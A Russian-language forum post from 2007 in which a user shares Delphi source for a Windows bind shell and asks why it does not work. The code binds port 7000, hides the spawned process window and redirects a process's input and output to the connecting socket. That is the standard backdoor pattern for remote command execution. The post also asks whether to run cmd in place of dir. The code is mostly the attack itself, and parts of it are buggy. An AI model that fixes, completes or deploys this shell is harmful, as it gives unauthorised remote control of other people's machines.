Показать сообщение отдельно

  #5  
Старый 03.10.2007, 19:19
_PARAZIT_
Новичок
Регистрация: 02.10.2007
Сообщений: 29
Провел на форуме:
40682

Репутация: 5
По умолчанию

да... это bind shell на делфях... сначало надо сделать и догнать все на делфях что б приступить на С, а то там ваще все темно и надо приступать со знание дела...

вобщем суть такова что он неработает почемуто...
Код:
program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
    sa,addr_from:sockaddr_in ;
    pi:PROCESS_INFORMATION;
    len,rec:integer;
    HWSAdata:WSADATA;
    s,s_cln:Tsocket;
    st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0); //создаем сокет
sa.sin_family:=AF_INET; //настрайваем его
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3); //число клиентов
len:=sizeof(addr_from);
while true do begin
        s_cln:=accept(s,@addr_from,@len); //...кто то подключился
        while true do begin //начинаем цикл обработки подключенного клиента
        rec:=recv(s_cln, st, 100, 0); // принимаем команду
        if rec=0 then break //если команда действительно есть то начинаем создавать процесс
                else begin
                        si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                        si.hStdInput:=s_cln;
                        si.hStdOutput:=s_cln;
                        si.hStdError:=s_cln;
                        si.lpDesktop:=nil;
                        si.lpTitle:=nil;
                        si.lpReserved2:=NIL;
                        CreateProcess(NIL ,'dir',NIL, NIL,TRUE,0,NIL,NIL,si,pi); //во всех примера там где у меня dir стоит конечноже cmd (командный интерпретатор), но я думал просто что именно сюда надо прописать команду...или же команда выполняется автоматически с приходом чегонибудь в сокет из-за вот этой строчки si.hStdInput:=s_cln; 
                        FillChar(st,255,#0);
                end;
        end;
closesocket(s_cln);
//sleep(100);
end;
closesocket(s);
WSACleanup();
end.
где неправильная логика? и вообще так ли пишут bind shell-ы? патамучто он даже если dir изменить на cmd... всеравно не пашет...протесть пожалуйста ктонибудь.
 
Ответить с цитированием